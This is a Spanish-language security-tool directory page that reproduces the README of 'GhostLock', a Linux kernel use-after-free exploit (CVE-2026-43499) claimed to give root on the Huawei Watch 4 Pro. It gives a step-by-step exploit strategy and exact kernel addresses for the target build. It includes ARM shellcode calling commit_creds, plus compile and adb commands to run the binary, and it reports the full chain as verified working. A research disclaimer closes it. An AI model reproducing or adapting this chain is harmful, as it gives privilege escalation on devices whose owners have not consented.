Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — Investigación sobre escalada de privilegios en ARM32 mediante UAF en futex PI rt_mutex del kernel de Linux, dirigida al Huawei Watch 4 Pro (kernel 5.4.210) | Kitploit
Herramientas/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
Seguridad de Sistemas EmbebidosEscalada de PrivilegiosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónIngeniería InversaDesarrollo de PayloadsExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubgitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — Investigación sobre escalada de privilegios en ARM32 mediante UAF en futex PI rt_mutex del kernel de Linux, dirigida al Huawei Watch 4 Pro (kernel 5.4.210)

Ver Repositorio
4279hace 29 díasAún no revisado

CVE-2026-43499 (GhostLock) — Investigación de escalada de privilegios en el kernel ARM32

Investigación y desarrollo de exploit de la vulnerabilidad Use-After-Free en rt_mutex de futex PI del kernel Linux, dirigida a Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, kernel 5.4.210.

Vulnerabilidad

remove_waiter() en kernel/locking/rt_mutex.c utiliza incorrectamente current en lugar de waiter->task durante la reversión del proxy-lock, sin limpiar pi_blocked_on en la tarea del waiter. Esto deja un puntero colgante desde task_struct hacia un rt_mutex_waiter asignado en la pila después de que el marco de pila del kernel del waiter sea liberado — un clásico Use-After-Free de pila.

Estrategia del exploit

  1. Puntero colgante — Provocar la reversión EDEADLK mediante futex(FUTEX_CMP_REQUEUE_PI) a través de tres hilos; el pi_blocked_on del waiter apunta a la pila liberada.
  2. Rocío de pila (stamp) — Usar prctl(PR_SET_NAME) (opción 15, sin privilegios) para copiar 15 bytes de datos controlados en la pila del kernel, sobrescribiendo los campos task/lock/prio del waiter falso.
  3. Primitiva de escritura — sched_setattr() desencadena el recorrido de la cadena PI; el waiter falso se encola en un rt_mutex falsificado que se superpone a una estructura file_operations del kernel. La inserción en el árbol rojo-negro escribe la dirección de pila del kernel del waiter en fops->unlocked_ioctl.
  4. Ejecución de código — Re-sellar el waiter con shellcode ARM independiente de posición; abrir un dispositivo de caracteres accesible globalmente y llamar a ioctl(), que despacha a través del puntero unlocked_ioctl sobrescrito hacia el shellcode en la pila ejecutable del kernel.
  5. Escalada de privilegios — El shellcode llama a commit_creds(waiter) donde los primeros campos del waiter (establecidos por rb_insert_color) forman un struct cred falso con uid/gid = 0.

Estado actual

  • Disparo del UAF: funcionando (verificado en el dispositivo)
  • Sello de pila mediante prctl: funcionando
  • Primitiva de escritura de dirección de pila del kernel única: funcionando (sobrescribe fops->unlocked_ioctl con la dirección de pila del waiter)
  • Pila del kernel confirmada como ejecutable (sin PXN/NX en la región BSS/pila)
  • Ejecución de código y escalada a root: funcionando (despacha mediante ioctl(null_fd, IOCTL_CMD, 0) hacia el shellcode -> commit_creds(&init_cred) -> shell de root)

Dispositivo objetivo

PropiedadValor
DispositivoHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
Kernel5.4.210 (ARM de 32 bits)
KASLRdeshabilitado
PAN/SMAPno presente
PXNausente en 0xc1b00000+ (pila/BSS ejecutable)
CFI/PACno presente

Direcciones clave del kernel

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

Estructura del repositorio

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

Compilación

Usando GCC o Zig para compilación cruzada:

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

Ejecución

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

Diseño del shellcode

Shellcode ARM independiente de la posición, insertado en waiter+0x18:

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • Cuando ioctl(null_fd, cmd, arg) despacha f_op->unlocked_ioctl(filp, cmd, arg), el registro r1 contiene el argumento cmd.
  • Al establecer cmd = 0x01B17E60, sub r0, r1, #0x40000000 (codificación 0xe2410101, sin bytes nulos) calcula r0 = 0xc1b17e60 (&init_cred).
  • commit_creds(&init_cred) instala credenciales de root con todas las capacidades y un contexto de seguridad SELinux limpio, retornando limpiamente a do_vfs_ioctl (lr = 0xc031c8c0).

Nota sobre el diseño de file_operations

El struct file_operations de este kernel de proveedor tiene un campo extra de 4 bytes en el desplazamiento +0x24 (entre poll y unlocked_ioctl), desplazando todos los miembros posteriores en 4 bytes respecto al Linux 5.4 estándar:

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

Esto fue verificado desensamblando los manejadores de ashmem y null fops.

Descargo de responsabilidad

Este repositorio es para investigación de seguridad y educación únicamente. No utilice estas técnicas en dispositivos que no sean de su propiedad o para los que carezca de autorización para probar.

Descargar herramienta